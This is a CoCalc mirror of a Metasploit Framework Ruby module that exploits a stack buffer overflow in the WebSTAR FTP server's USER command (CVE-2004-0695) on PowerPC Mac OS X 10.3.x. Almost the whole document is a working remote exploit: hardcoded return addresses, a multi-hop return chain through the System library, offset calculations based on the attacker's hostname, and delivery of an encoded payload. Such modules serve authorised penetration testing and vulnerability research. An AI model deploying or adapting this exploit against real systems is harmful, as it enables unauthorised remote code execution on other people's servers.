Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/ftp/webstar_ftp_user.rb
32595 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'WebSTAR FTP Server USER Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the logging routine
18
of the WebSTAR FTP server. Reliable code execution is
19
obtained by a series of hops through the System library.
20
},
21
'Author' => [ 'ddz', 'hdm' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2004-0695'],
25
[ 'OSVDB', '7794'],
26
[ 'BID', '10720'],
27
28
],
29
'Privileged' => true,
30
'Payload' => {
31
'Space' => 300,
32
'BadChars' => "\x00\x20\x0a\x0d",
33
'Compat' =>
34
{
35
'ConnectionType' => '+find'
36
}
37
},
38
'Targets' => [
39
[
40
'Mac OS X 10.3.4-10.3.6',
41
{
42
'Platform' => 'osx',
43
'Arch' => ARCH_PPC,
44
'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ]
45
},
46
],
47
],
48
'DisclosureDate' => '2004-07-13',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptString.new('MHOST', [ false, 'Our IP address or hostname as the target resolves it' ]),
61
], self
62
)
63
end
64
65
# crazy dino 5-hop foo
66
# $ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
67
# $r28 = pack('N', 0x90034d60); # getgid()
68
# $ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
69
# $r30 = pack('N', 0x90023590); # call $r3
70
71
def exploit
72
connect
73
74
# The offset to the return address is dependent on the length of our hostname
75
# as the target system resolves it ( IP or reverse DNS ).
76
mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
77
basel = 285 - mhost.length
78
79
print_status("Trying target #{target.name}...")
80
81
# ret = 296
82
# r25 = 260
83
# r26 = 264
84
# r27 = 268
85
# r28 = 272
86
# r29 = 276
87
# r30 = 280
88
# r31 = 284
89
90
# r1+120 = 408
91
92
buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
93
buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
94
buf[basel, 4] = [ target['Rets'][1] ].pack('N') # getgid()
95
buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
96
buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
97
buf << payload.encoded
98
99
send_cmd(['USER', buf], true)
100
send_cmd(['HELP'], true)
101
102
handler
103
disconnect
104
end
105
end
106
107